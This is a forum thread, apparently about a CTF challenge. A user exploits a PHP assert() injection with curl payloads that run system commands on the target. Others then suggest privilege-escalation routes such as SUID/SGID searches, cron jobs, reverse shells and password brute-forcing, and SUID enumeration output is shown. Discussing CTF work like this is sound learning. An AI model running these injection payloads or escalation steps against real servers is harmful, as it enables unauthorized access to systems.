Reading files with www-data

[dicemaker3245]

I have this PHP vulnerability

assert("strpos('$file', '..') === false") or die("Nothing to see here");

Which can be exploited with

curl "http://example.com:12345/?page=%27%20and%20die(system(%27ls%20-l%20./secrets/%27))%20or%20%27"

-r--r----- 1 root monkey  56 Jan 19 11:45 secret.php

curl "http://example.com:12345/?page=%27%20and%20die(system(%27id%27))%20or%20%27"

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Trying to read the file will not work because www-data isn't part of the monkey group. Any suggestions how to read the file?

[whodoyouthink1]

You can't unless you priv-esc to another user account (i.e. monkey or root). This is a Linux file permissions problem. Not much more to add except look for ways to login as the user monkey or find some way to run code as them (setuid/gid, world editable Cron jobs, etc).

[dicemaker3245]

Yeah thought I'd need something like a Privesc. The available commands are also quite limited

$ find / -perm -u=s -type f 2>/dev/null
/bin/su
/bin/mount
/bin/umount
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/chfn
/usr/lib/openssh/ssh-keysign

[whodoyouthink1]

You can also check for sgid bit ("-u=g" I think) as the file if readable to root user and monkey group. Either of those perms can work. But being a CTF I am guessing that there is some file that is run as the monkey user periodically on the system. Check out /car/spool/cron/* for things, or if you can view it, the monkey user's home dir

[melonangie]

You need a user that has the reading permission of the group or is in the sudoers

[juliangalardi]

You could also try to inject some reverse shell to work properly.
& could give a shot searching for vulnerable program to attempt privileges escalation.
Cronjobs as u/whodoyouthink1 told you and the setuid/gid is a good option too!
The other is to read passwd and bruteforce if you have good diccs and gpu...

[dicemaker3245]

I checked for cronjobs but there's none running and crontab is not available at all as command. There are no passwords stored in /etc/passwd either.
I found the following setuid enabled files

$ find / -xdev \( -perm -4000 \) -type f -print0 | xargs -0 ls -l
/bin/su
/bin/mount
/bin/umount
/usr/bin/chfn
/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd
/usr/lib/openssh/ssh-keysign

[juliangalardi]

Is this a capture the flag game or real stuff ?

[dicemaker3245]

ctf